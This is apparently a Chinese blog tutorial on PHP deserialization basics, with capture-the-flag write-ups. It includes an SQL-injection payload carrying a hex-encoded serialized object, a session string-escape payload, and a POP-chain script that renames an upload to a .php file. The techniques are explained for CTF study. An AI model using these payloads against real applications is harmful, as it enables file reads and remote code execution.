谈谈PHP反序列基础和简单利用


基础知识

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

php 将数据序列化和反序列化会用到两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}
#了解php的序列化之后字符串的含义

序列化的时候需要注意

public,protected,private访问修饰符,分别对应着类中的 公有、私有、受保护成员。引用解释 不同的访问修饰符对应的序列化也有不同。 各访问修饰符序列化后的区别: 
public:属性被序列化的时候属性名还是原来的属性名,没有任何改变
protected:属性被序列化的时候属性名会变成%00*%00 属性名,长度跟随属性名长度而改变
private:属性被序列化的时候属性名会变成%00 类名%00 属性名,长度跟随属性名长度而改变

输出时一般需要url编码

输出则会导致不可见字符\x00的丢失

O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

反序列化中常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,比如使用 echo 或者 .连接   或者 file_exists()判断也会触发
__invoke() //当尝试将对象调用为函数时触发

利用方式

常规反序列利用--[安洵杯 2019]不是文件上传

  • 知识点

    • 源码泄露

    • 代码审计

    • sql 注入

    • 反序列化

  • 上传文件,发现 id 参数,肯定和 sql 注入有关,但是怎么利用呢??不知道了

    原来通过搜索关键字,可以在 github 上的得到源码

  • 关键源码 反序列,显示图片属性,

谈谈PHP反序列基础和简单利用

序列化,存储图片属性

谈谈PHP反序列基础和简单利用

检查图片属性,这里唯一可控的是 filename,进而控制-->参数 title,因为要存储,和数据库交互,存在 sql 注入

谈谈PHP反序列基础和简单利用

读 flag 的方法

谈谈PHP反序列基础和简单利用

上传图片的 sql 语句

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

根据源码,写序列化脚本

<?php
class helper {
   protected $ifview = True;
   protected $config = "/flag";
}
$a = new helper();
echo serialize($a);
?>

O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";} 因为 protected 属性,需要\0填补 payload:O:6:"helper":2:{s:9:"\0\0\0ifview";b:1s:9:"\0\0\0config";s:5:"/flag";} 有双引号过滤,无法传递,这里注意 sql 语句可以使用 16 进制绕过

  • 所以最终 payload filename=s1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d),('1.jpg

修改 filename,得 flag

谈谈PHP反序列基础和简单利用

字符串逃逸

字符逃逸,一定是 先 serialize(),然后 过滤字符串长度发生变化,然后 unserialize() 。从而实现逃逸,不管字符增多 or 字符减少,都一样,就是我们构造的都是反序列化之后的字符串

主要分两种

过滤后字符串增加

例题[0CTF 2016]piapiapia

  • 知识点- 反序列化逃逸--增加

  • preg_replace 用数组绕过

过滤后字符串减少

[安洵杯 2019]easy_serialize_php

  • 知识点:反序列化逃逸--减少

GET部分:?f=show_image

POST部分:_SESSION[user]=flagflagflagflagflagflagflag&_SESSION[function]=a:2:{";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"chen";s:4:"qwsn";}

- 回显:$flag = 'flag in /d0g3_fllllllag';

POP链的构造利用

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法。

简单看例题,即可理解

例题[强网杯 2019]Upload-你以为我 upload,其实考代码审计-pop 链

  • 知识点

    代码审计,PHP 反序列化。-pop 链构造方法

__get() 在调用不可访问的属性的时候触发
__call() 在调用不可访问的方法的时候触发

这里,我们如果把

$this->checher

赋值为 Profile 对象,那么就会调用 Profile 对象中的 index() 方法,这个方法在 Profile 中是不存在的,所以会调用

__call()

call方法又会调用

$this->index

index 属性在 Profile 中也是不存在的,就会触发

__get()方法,那么我们再设置 Profile 中的

except[’index‘]

为 upload_img 的话,就会成功触发 upload_img() 。

原文链接:https://blog.csdn.net/qq_41891666/article/details/107382969

  • 所以整个利用链为:

Register -> __destruct
Profile -> __call
Profile -> __get
Profile -> upload_img
<?php
namespace app\web\controller;
class Profile
{
   public $except =array('index'=>'upload_img') ;

   public $checker = 0 ;
   public $ext = 1 ;
   public $filename_tmp = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/d8f8dedc0591f3b913dbcdf0fdea2687.png' ;
   public $filename = '../public/upload/b53eda8702c8684a87f1f73fe6db33f0/kkkk.php' ;
   public $upload_menu = '';
}

class Register
{
   public $registed = 0;
   public $checker ;

}

$a =new Register();
$a -> checker = new Profile();
echo base64_encode(serialize($a));
// echo serialize($a);

刚开始报错没有反应,多刷新几次,即可访问

上一篇:【蓝桥杯】有理数的循环节


下一篇:嘉明的C学习之Day4--内存地址原理解析、scanf循环读取、多种数据类型混合输入、printf输出格式